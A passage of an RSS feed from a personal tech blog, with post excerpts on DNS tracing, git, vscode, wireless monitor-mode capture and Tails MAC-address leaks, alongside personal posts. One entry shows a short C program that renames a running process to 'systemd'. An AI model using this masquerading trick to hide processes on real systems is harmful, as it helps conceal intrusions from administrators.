style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.3G&#x9;logfile.10:00:00-11:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.3G&#x9;logfile.11:00:00-12:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.4G&#x9;logfile.12:00:00-13:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.3G&#x9;logfile.13:00:00-14:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.2G&#x9;logfile.14:00:00-15:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.1G&#x9;logfile.15:00:00-16:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.0G&#x9;logfile.16:00:00-17:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.6G&#x9;logfile.17:00:00-18:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.5G&#x9;logfile.18:00:00-19:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.3G&#x9;logfile.19:00:00-20:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.3G&#x9;logfile.20:00:00-21:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.3G&#x9;logfile.21:00:00-22:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.1G&#x9;logfile.22:00:00-23:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.0G&#x9;logfile.23:00:00-00:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;61G&#x9;total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;pv&lt;/code&gt; outputs the total bytes, current data rate, and time elapsed:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Mapping the chain of DNS servers from root to authoritative with dig</title>
      <link>https://jasonmurray.org/posts/2021/digtrace/</link>
      <pubDate>Tue, 23 Feb 2021 15:47:43 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/digtrace/</guid>
      <description>&lt;h2 id=&#34;key-points&#34;&gt;Key Points&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Domain Name System (DNS) turns domain names (jasonmurray.org) into IP addresses (104.21.41.57)&lt;/li&gt;&#xA;&lt;li&gt;Root name servers point to servers that resolve top level domains like .com, .net, and .org&lt;/li&gt;&#xA;&lt;li&gt;Second level name servers point to authoritative servers that resolve the second part of the domain such as jasonmurray, example, microsoft, and apple&lt;/li&gt;&#xA;&lt;li&gt;Authoritative name servers resolve fully qualified domains such as jasonmurray.org, example.com, and microsoft.com&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;dig +trace jasonmurray.org&lt;/code&gt; displays the entire sequence of DNS servers required to resolve a domain name from &lt;code&gt;root&lt;/code&gt; to &lt;code&gt;authoratative&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;code&gt;dig +trace&lt;/code&gt; maps out all DNS servers required to resolve a DNS domain name. Typically only necessary when troubleshooting domain resolution issues.  For curious minded individuals, this tool helps to explain the role each DNS server plays in name resolution.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Make a clickable image link in vscode with the Paste Image extension</title>
      <link>https://jasonmurray.org/posts/2021/customimagepaste/</link>
      <pubDate>Mon, 22 Feb 2021 08:01:41 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/customimagepaste/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;The vscode extension, &lt;code&gt;Paste Image&lt;/code&gt; takes an image from the &lt;code&gt;clipboard&lt;/code&gt;, inserts a &lt;code&gt;markdown&lt;/code&gt; or &lt;code&gt;asciidoc&lt;/code&gt; link within the document, then copies the image into the appropriate directory. The default &lt;code&gt;Paste Image&lt;/code&gt; settings do not create a clickable link to view the original image. This may be a problem if the display source resizes the content, making it difficult to read.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;I use &lt;code&gt;Paste Image&lt;/code&gt; to insert images into the &lt;code&gt;markdown&lt;/code&gt; used to create this website.  The following &lt;code&gt;.vscode/settings.json&lt;/code&gt; lines are the stock plugin settings:&lt;/p&gt;</description>
    </item>
    <item>
      <title>How I tune out noise and sleep through the night</title>
      <link>https://jasonmurray.org/posts/2021/bosesleepbuds/</link>
      <pubDate>Sun, 21 Feb 2021 13:20:55 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/bosesleepbuds/</guid>
      <description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-problem&#34;&gt;The Problem&lt;/h2&gt;&#xA;&lt;p&gt;Any noise, no matter how subtle, is enough to keep me from falling asleep or jarring enough to wake me up. It&amp;rsquo;s not uncommon to wake up five or more times per evening. Once awake, the animals wrestling, bed mate snoring, neighbors running amuck, or creaky house noises keep me from the slumber my body desperately needs. On a good night, I may fall back asleep in 15 to 30 minutes. However, it&amp;rsquo;s more common for the thoughts churning around my head to keep the melatonin at bay, forcing me to lie awake for 60+ minutes.&lt;/p&gt;</description>
    </item>
    <item>
      <title>We had family photos taken today</title>
      <link>https://jasonmurray.org/posts/2021/familyphoto/</link>
      <pubDate>Sat, 20 Feb 2021 14:41:52 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/familyphoto/</guid>
      <description>&lt;p&gt;My wife and I have been married for 23 years, our kids have been around for 15+ years. In all this time, we&amp;rsquo;ve never had professional family photos taken. Until today, when &lt;a href=&#34;https://www.facebook.com/h.wellmeierphotography&#34;&gt;H.WellmeierPhotography&lt;/a&gt; met us on one of these rare Missouri days when the air is chilly and there is snow on the ground.&lt;/p&gt;&#xA;&lt;p&gt;Until the final proofs are in, here’s a few behind the scene photos from my cell phone:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Automatically convert binary data in the paste buffer to Base64 encoded text with iTerm2</title>
      <link>https://jasonmurray.org/posts/2021/pastebase64/</link>
      <pubDate>Fri, 19 Feb 2021 13:04:28 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/pastebase64/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Paste binary files from the copy-paste buffer with &lt;code&gt;iterm2&lt;/code&gt; using the &lt;code&gt;Edit -&amp;gt; Paste Special -&amp;gt; Paste File Base64-Encoded&lt;/code&gt; menu.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;Select a file to &lt;code&gt;paste&lt;/code&gt; on the remote server:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-02-19-13-07-14.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-02-19-13-07-14.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Log into a remote server and edit a file with &lt;code&gt;vi&lt;/code&gt; (or your favorite editor):&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ vi image.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-02-19-13-09-03.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-02-19-13-09-03.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Binary data in the paste buffer is automatically converted to Base64 text. Paste the image with &lt;code&gt;Edit -&amp;gt; Paste Special -&amp;gt; Paste File Base64-Encoded&lt;/code&gt;:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Second dose of the COVID-19 vaccine</title>
      <link>https://jasonmurray.org/posts/2021/2nddose/</link>
      <pubDate>Thu, 18 Feb 2021 12:36:26 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/2nddose/</guid>
      <description>&lt;p&gt;February 17, 2021 at 9:40AM I received the second dose of the Pfizer-BioNTech COVID-19 vaccine. &lt;a href=&#34;https://wustl.edu/&#34;&gt;WashU&lt;/a&gt; and &lt;a href=&#34;https://www.bjc.org/&#34;&gt;BJC&lt;/a&gt; performed another stellar job with vaccine distribution. Ample signs and staff welcome patients, directed us where to go, answered questions, then sent us off to the main area where shots are administered.   At no point did I wait more than a few minutes or was the line longer 12 people.  Total time from walk in to walk out was 30 minutes, this includes the mandatory 15 minute waiting period.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Persistent network configuration storage within Tails Linux may reveal historical location data</title>
      <link>https://jasonmurray.org/posts/2021/tailswifiprobe/</link>
      <pubDate>Wed, 17 Feb 2021 13:39:04 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/tailswifiprobe/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Enabling persistent network storage in Tails linux may reveal historical location data.  Saved networks broadcast a &lt;code&gt;probe&lt;/code&gt; packet as the operating system boots up.  It is possible to passively estimate a devices previous locations using this information.&lt;/p&gt;&#xA;&lt;p&gt;In a &lt;a href=&#34;https://jasonmurray.org/posts/2021/tailsleak/&#34;&gt;previous post&lt;/a&gt; I documented an issue where a MacBook Pro will leak the real MAC address of the laptop when booting the Tails operating system from a USB drive; Thereby defeating the MAC randomization feature of Tails during initial power up.  It&amp;rsquo;s important to note, the MAC address leak is a &amp;ldquo;feature&amp;rdquo; of the macOS boot process and not the fault of Tails.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Redirecting URLs with Cloudflare Page Rules</title>
      <link>https://jasonmurray.org/posts/2021/cloudflarepageredirect/</link>
      <pubDate>Tue, 16 Feb 2021 09:32:08 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/cloudflarepageredirect/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;For technical users, the Cloudflare &lt;a href=&#34;https://support.cloudflare.com/hc/en-us/articles/200172286-Configuring-URL-forwarding-or-redirects-with-Cloudflare-Page-Rules&#34;&gt;Page Rules&lt;/a&gt; service offers an alternative to link shorteners such as &lt;a href=&#34;https://bitly.com/&#34;&gt;bit.ly&lt;/a&gt; and &lt;a href=&#34;http://ow.ly/&#34;&gt;Owly&lt;/a&gt;.  All domains configured within your Cloudflare account are available to use with the Page Rule URL redirection service.&lt;/p&gt;&#xA;&lt;p&gt;Once configured, users can redirect a URL such as: &lt;code&gt;https://example.com/my-redirect&lt;/code&gt; to &lt;code&gt;https://example-of-a-convoluted-url-that-is-difficult-to-remember.org/some-long-extension&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;Navigate to the &lt;code&gt;Cloudflare dashboard -&amp;gt; Page Rules menu&lt;/code&gt; then select &lt;code&gt;Create Page Rule&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-02-16-09-53-13.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-02-16-09-53-13.png&#34; alt=&#34;Image of cloudflare page rules menu&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Create the &lt;code&gt;Page Rule&lt;/code&gt; forwarding event by filling in the following fields.  In this example, I will redirect &lt;code&gt;jasonmurray.org/calendar&lt;/code&gt; to my public Office 365 calendar:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Matching and printing regex groups in sed</title>
      <link>https://jasonmurray.org/posts/2021/sedgroups/</link>
      <pubDate>Mon, 15 Feb 2021 15:19:08 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/sedgroups/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;A CLI one-liner using regular expressions and &lt;code&gt;sed&lt;/code&gt; to capture a group of information and print it.  I typically use &lt;code&gt;python&lt;/code&gt; to build complex regular expression pattern matching and grouping.  In this example, a simple one-liner pulls data out of a text file.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;The input file is a list of Markdown links:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@jasons-mbp:~ $ head -1 scratch.txt&#xA;[Schedule requirements gathering meeting for WSA](https://example.com)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;sed&lt;/code&gt; command pulls all the text between the square-brackets &lt;code&gt;[...]&lt;/code&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>The senators who voted to acquit Donald Trump during his second impeachment trial</title>
      <link>https://jasonmurray.org/posts/2021/insurrectionvote/</link>
      <pubDate>Sun, 14 Feb 2021 10:44:32 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/insurrectionvote/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;On January 6, 2021, President Donald Trump encouraged a mob of supporters enraged by anger and misinformation over the 2020 presidential loss to Joe Biden, to attack and breach the United States capitol.  The insurrection killed 6 people and injured 140 others.  This violent rejection of the democratic process rests squarely on the shoulders of the former president.&lt;/p&gt;&#xA;&lt;p&gt;The legal defense team put together &lt;a href=&#34;https://cdn.jwplayer.com/players/Lk0avNHH-HWSueGzu.html&#34;&gt;this video&lt;/a&gt; which highlights Donald Trumps role in this historic event.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Simulating production networks with Cisco Modeling Lab: Install Guide</title>
      <link>https://jasonmurray.org/posts/2021/cml/</link>
      <pubDate>Sat, 13 Feb 2021 11:41:28 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/cml/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.cisco.com/c/en/us/products/cloud-systems-management/modeling-labs/index.html&#34;&gt;Cisco Modeling Lab&lt;/a&gt; is a commercial network virtualization environment. All routers, switches, and security devices are licensed and included within the CML system.  CML differs from other offerings such as &lt;a href=&#34;https://www.gns3.com/&#34;&gt;GNS3&lt;/a&gt; or &lt;a href=&#34;https://www.eve-ng.net/&#34;&gt;Eve-NG&lt;/a&gt; by including legal Cisco software images and licenses as part of the purchased bundle.  The software costs approximately $200 per year for the &lt;a href=&#34;https://learningnetworkstore.cisco.com/cisco-modeling-labs-personal/cisco-cml-personal&#34;&gt;personal edition&lt;/a&gt; which allows up to 20 simultaneous devices.&lt;/p&gt;&#xA;&lt;p&gt;While the minimum system requirements are 4 CPUs, 8Gb RAM, and 16Gb HD; this won&amp;rsquo;t be enough to run 20 routers at the same time.  Expect to spend a few thousand dollars on hardware capable of simulating a real production network.  This is not software that will run well on a typical consumer laptop.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Creating a shortcut in vscode to switch between the terminal and editor</title>
      <link>https://jasonmurray.org/posts/2021/vscodeswitchterminal/</link>
      <pubDate>Fri, 12 Feb 2021 12:15:31 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/vscodeswitchterminal/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;I spend a lot of time in &lt;code&gt;vscode&lt;/code&gt; swapping between the editor and terminal windows.  To streamline the workflow and keep my hands from leaving the keyboard, I created the shortcut &lt;code&gt;ctrl + ;&lt;/code&gt; to swap between the two windows.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-02-12-12-43-16.png&#34; alt=&#34;Image of vscode session with editor and terminal windows open&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;Open the keyboard shortcuts settings:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-02-12-12-26-03.png&#34; alt=&#34;Image of vscode keyboard shortcut settings menu&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;First, search for &lt;code&gt;Terminal: Focus on Terminal View&lt;/code&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Caution: MAC address information leaked when booting Tails Linux on a MacBook Pro (not Tails fault)</title>
      <link>https://jasonmurray.org/posts/2021/tailsleak/</link>
      <pubDate>Thu, 11 Feb 2021 12:34:47 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/tailsleak/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;While exploring the interworkings of the &lt;a href=&#34;https://tails.boum.org/doc/first_steps/welcome_screen/mac_spoofing/index.en.html#:~:text=Tails%20can%20temporarily%20change%20the,are%2C%20to%20the%20local%20network.&#34;&gt;Tails MAC address randomization process&lt;/a&gt;, I discovered a situation where the real MAC address is leaked if Tails is booted from a USB drive on a MacBook Pro.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;I started off by building a Linux workstation with the &lt;code&gt;wlan1&lt;/code&gt; interface &lt;a href=&#34;https://jasonmurray.org/posts/2021/monitorwireless/&#34;&gt;in monitoring mode&lt;/a&gt;.  The wireless sniffer was setup to capture traffic from the real MAC address (&lt;code&gt;ac:bc:32:b4:a9:83&lt;/code&gt;) of the MacBook Pro on channel 149.  As a baseline, I am able to confirm traffic is received from the MacBook Pro&amp;rsquo;s &lt;code&gt;en0&lt;/code&gt; network adaptor while booted in macOS:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Remove files from git repository without removing local files</title>
      <link>https://jasonmurray.org/posts/2021/gitrm/</link>
      <pubDate>Wed, 10 Feb 2021 06:42:32 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/gitrm/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Running &lt;code&gt;git rm &amp;lt;file&amp;gt;&lt;/code&gt; without the &lt;code&gt;--cached&lt;/code&gt; option will delete files from a &lt;code&gt;git&lt;/code&gt; repository &lt;strong&gt;and&lt;/strong&gt; the local file system.  To remove files from a &lt;code&gt;git&lt;/code&gt; repository &lt;strong&gt;only&lt;/strong&gt;, use the &lt;code&gt;--cached&lt;/code&gt; command line argument.&lt;/p&gt;&#xA;&lt;h2 id=&#34;locate-and-remove-a-single-file&#34;&gt;Locate and remove a single file&lt;/h2&gt;&#xA;&lt;p&gt;Locate files to remove:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git ls-files&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;jemurray@jasons-mbp:~/Documents/www-personal/current/jasonmurray.org $ git ls-files&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content/.DS_Store&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remove single file from the &lt;code&gt;git&lt;/code&gt; repository without removing local file:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git rm --dry-run --cached content/.DS_Store&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using macOS &#39;speak selection&#39; to help with proofreading </title>
      <link>https://jasonmurray.org/posts/2021/proofreadingmacos/</link>
      <pubDate>Tue, 09 Feb 2021 10:17:30 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/proofreadingmacos/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Before publishing a new document, I prefer to have another person read the text back to me.  This helps catch errors not easily detected by my own silent proofreading.  That paragraph put together in bits-and-pieces sounds good inside my head, but not so much when read out loud.&lt;/p&gt;&#xA;&lt;p&gt;Not everyone enjoys reading the technical works of art I create.  In fact, most of my immediate family members don&amp;rsquo;t care much for my writing.  Finding a good assistant is hard to come by these days.   This is where macOS&amp;rsquo;s accessibility option &lt;code&gt;speak selection&lt;/code&gt; helps.   I can highlight a selection of text then click &lt;code&gt;option + esc&lt;/code&gt; and macOS will read the text to me.  My laptop does not care if I ask it to read the same sentence 1 or 100 times.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Removing Disqus to enhance my readers privacy</title>
      <link>https://jasonmurray.org/posts/2021/disqusprivacy/</link>
      <pubDate>Mon, 08 Feb 2021 11:03:17 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/disqusprivacy/</guid>
      <description>&lt;p&gt;In my haste to add user comments to this website, I did not take into account the privacy of my readers.  While I believe privacy on the Internet is mostly a thing of the past, I don&amp;rsquo;t want my site to be a contributing factor its further erosion.&lt;/p&gt;&#xA;&lt;p&gt;I stumbled across this issue while debugging a display problem.  Using the Safari developer tools, we see there are 24 external requests per page load when Disqus commenting is enabled:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using git as a historical time machine for jasonmurray.org</title>
      <link>https://jasonmurray.org/posts/2021/hugogit/</link>
      <pubDate>Sun, 07 Feb 2021 11:54:28 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/hugogit/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;I enjoy watching how my online presence changes over time.  To facilitate keeping this historical record, the content on &lt;code&gt;jasonmurray.org&lt;/code&gt; is written in standard markdown and tracked with the &lt;code&gt;git&lt;/code&gt; version control system.   Until recently, I used a &lt;a href=&#34;https://jasonmurray.org/posts/2020/selfhostedgit/&#34;&gt;self-hosted git repo&lt;/a&gt; to keep unpublished drafts and private parts of the site from becoming public.&lt;/p&gt;&#xA;&lt;p&gt;To simplify the management infrastructure, I moved from a self-hosted repository to one hosted at &lt;a href=&#34;https://github.com/0xJasonMurray/jasonmurray.org&#34;&gt;GitHub&lt;/a&gt;.  To keep unpublished information private, a &lt;code&gt;.gitignore&lt;/code&gt; file excludes the appropriate directories from public consumption.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Monitoring layer-1 wireless traffic with Linux</title>
      <link>https://jasonmurray.org/posts/2021/monitorwireless/</link>
      <pubDate>Sat, 06 Feb 2021 12:00:28 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/monitorwireless/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Within Linux, a wireless adaptor operates in either &lt;a href=&#34;https://wireless.wiki.kernel.org/en/users/documentation/modes&#34;&gt;managed, AP, monitor, ad-hoc, WDS, or mesh mode&lt;/a&gt;.  Managed mode enables the wireless card to connect to the network through an access point. This is the default and most common configuration for the majority of users.  Monitor mode, on the other hand, allows the network adaptor to passively monitor all traffic.  Using a packet capture tool such as &lt;code&gt;tcpdump&lt;/code&gt;, we can extract and decode all wireless communication within range of the network adaptor.&lt;/p&gt;</description>
    </item>
    <item>
      <title>After macOS upgrade, git is broken again</title>
      <link>https://jasonmurray.org/posts/2021/macosgit112/</link>
      <pubDate>Fri, 05 Feb 2021 16:21:44 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/macosgit112/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;After the BigSur 11.2 upgrade &lt;code&gt;git&lt;/code&gt; stopped working.  This is the &lt;a href=&#34;https://jasonmurray.org/posts/2020/gitmacos1015/&#34;&gt;same problem I had upgrading from 10.14.x to 10.15.x in the past&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;&lt;code&gt;git&lt;/code&gt; stopped working after the BigSur 11.2 upgrade:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@jasons-mbp:~/Documents/www-personal/current/jasonmurray.org $ git status&#xA;xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Fix the problem by running the &lt;code&gt;xcode&lt;/code&gt; command line tool install:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@jasons-mbp:~/Documents/www-personal/current/jasonmurray.org $ xcode-select --install&#xA;xcode-select: note: install requested for command line developer tools&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The command above starts the GUI install:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Change process display name</title>
      <link>https://jasonmurray.org/posts/2021/processname/</link>
      <pubDate>Thu, 04 Feb 2021 12:51:41 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/processname/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;By changing the argv[0] variable (language specific), we can change the visible name of a process.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;The program:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(int argc, char *argv[]) {&#xA;&#xA;    printf(&amp;#34;pid: %i\n&amp;#34;, getpid());&#xA;&#xA;    char psname[] = &amp;#34;systemd&amp;#34;;&#xA;    strncpy(argv[0],psname,strlen(argv[0]));&#xA;&#xA;    sleep(300);&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Compile:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;gcc ./myOriginalProgramName.c -o myOriginalProgramName&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Execute with the name &lt;code&gt;./myOriginalProgramName&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@home-server:~/processname$ ./myOriginalProgramName&#xA;pid: 31514&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Examine the current process table, the name has been changed from &lt;code&gt;myOriginalProgramName&lt;/code&gt; to &lt;code&gt;systemd&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@home-server:~$ ps -ef | grep 31514&#xA;jemurray 31514 29114  0 13:12 pts/8    00:00:00 systemd&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Help validate the safety of the COVID-19 vaccine with v-safe</title>
      <link>https://jasonmurray.org/posts/2021/vsafe/</link>
      <pubDate>Wed, 03 Feb 2021 11:57:31 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/vsafe/</guid>
